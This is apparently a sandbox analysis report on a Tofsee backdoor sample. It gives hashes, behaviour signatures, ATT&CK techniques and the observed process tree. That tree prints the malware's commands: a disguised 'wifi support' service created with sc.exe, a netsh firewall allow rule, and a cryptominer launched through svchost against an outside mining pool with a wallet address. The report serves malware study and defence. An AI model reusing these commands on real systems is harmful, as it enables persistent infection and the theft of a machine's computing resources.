Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    15-11-2020 22:48

General

  • Target

    fe8cb5b58a6e04b1877ba5d8f1c7b37fdc43a73ae8850daeea7eaefca2fad15b.exe

  • Size

    13.2MB

  • MD5

    32b51d4b10b95d049f96e329d77a87e0

  • SHA1

    c7edc30d62b156fc407dc914a726a19b3108b2e3

  • SHA256

    fe8cb5b58a6e04b1877ba5d8f1c7b37fdc43a73ae8850daeea7eaefca2fad15b

  • SHA512

    11408739911bcb93b75c909336fc88733c5702244efa62ae72d8f05276b80da69db362894620f81c323bfebbc0268028de1fe80c9dbf8c121fc598cdaf81a7c0

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fe8cb5b58a6e04b1877ba5d8f1c7b37fdc43a73ae8850daeea7eaefca2fad15b.exe
    "C:\Users\Admin\AppData\Local\Temp\fe8cb5b58a6e04b1877ba5d8f1c7b37fdc43a73ae8850daeea7eaefca2fad15b.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1744
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ticphsas\
      2⤵
        PID:1204
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zqjmtgsr.exe" C:\Windows\SysWOW64\ticphsas\
        2⤵
          PID:1872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ticphsas binPath= "C:\Windows\SysWOW64\ticphsas\zqjmtgsr.exe /d\"C:\Users\Admin\AppData\Local\Temp\fe8cb5b58a6e04b1877ba5d8f1c7b37fdc43a73ae8850daeea7eaefca2fad15b.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1724
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ticphsas "wifi internet conection"
            2⤵
              PID:332
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ticphsas
              2⤵
                PID:1492
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1548
            • C:\Windows\SysWOW64\ticphsas\zqjmtgsr.exe
              C:\Windows\SysWOW64\ticphsas\zqjmtgsr.exe /d"C:\Users\Admin\AppData\Local\Temp\fe8cb5b58a6e04b1877ba5d8f1c7b37fdc43a73ae8850daeea7eaefca2fad15b.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:760
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:616
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:344

            Network

            MITRE ATT&CK Matrix ATT&CK v6

            Persistence

            New Service

            1
            T1050

            Modify Existing Service

            2
            T1031

            Registry Run Keys / Startup Folder

            1
            T1060

            Privilege Escalation

            New Service

            1
            T1050

            Defense Evasion

            Disabling Security Tools

            1
            T1089

            Modify Registry

            3
            T1112

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\zqjmtgsr.exe
              MD5

              918368cb10012a270c5be2398fa001d9

              SHA1

              6575c7b9d9ef746acf5f152d11e8cb3db60f484f

              SHA256

              82b47052a57d31990e96b4b689f521e075cae5296c1ffa88d2d884db29f684a3

              SHA512

              1daa863c5dbff8dfea539a3501cdd8d7bf0dbbafd247c091210e394e68eec58923fab4168fb711c79d88a3e2cb9e09d51dd181061e95643a27c6f6c1e195e944

            • C:\Windows\SysWOW64\ticphsas\zqjmtgsr.exe
              MD5

              918368cb10012a270c5be2398fa001d9

              SHA1

              6575c7b9d9ef746acf5f152d11e8cb3db60f484f

              SHA256

              82b47052a57d31990e96b4b689f521e075cae5296c1ffa88d2d884db29f684a3

              SHA512

              1daa863c5dbff8dfea539a3501cdd8d7bf0dbbafd247c091210e394e68eec58923fab4168fb711c79d88a3e2cb9e09d51dd181061e95643a27c6f6c1e195e944

            • memory/332-4-0x0000000000000000-mapping.dmp
            • memory/344-20-0x000000000022259C-mapping.dmp
            • memory/344-18-0x0000000000190000-0x0000000000281000-memory.dmp
              Filesize

              964KB

            • memory/344-17-0x0000000000190000-0x0000000000281000-memory.dmp
              Filesize

              964KB

            • memory/616-8-0x0000000000089A6B-mapping.dmp
            • memory/616-7-0x0000000000080000-0x0000000000095000-memory.dmp
              Filesize

              84KB

            • memory/616-11-0x0000000001C90000-0x0000000001E9F000-memory.dmp
              Filesize

              2.1MB

            • memory/616-12-0x0000000000110000-0x0000000000116000-memory.dmp
              Filesize

              24KB

            • memory/616-13-0x0000000000180000-0x0000000000190000-memory.dmp
              Filesize

              64KB

            • memory/616-14-0x00000000002A0000-0x00000000002A5000-memory.dmp
              Filesize

              20KB

            • memory/616-15-0x0000000005870000-0x0000000005C7B000-memory.dmp
              Filesize

              4.0MB

            • memory/616-16-0x00000000002F0000-0x00000000002F7000-memory.dmp
              Filesize

              28KB

            • memory/1204-0-0x0000000000000000-mapping.dmp
            • memory/1492-5-0x0000000000000000-mapping.dmp
            • memory/1548-10-0x0000000000000000-mapping.dmp
            • memory/1724-3-0x0000000000000000-mapping.dmp
            • memory/1872-1-0x0000000000000000-mapping.dmp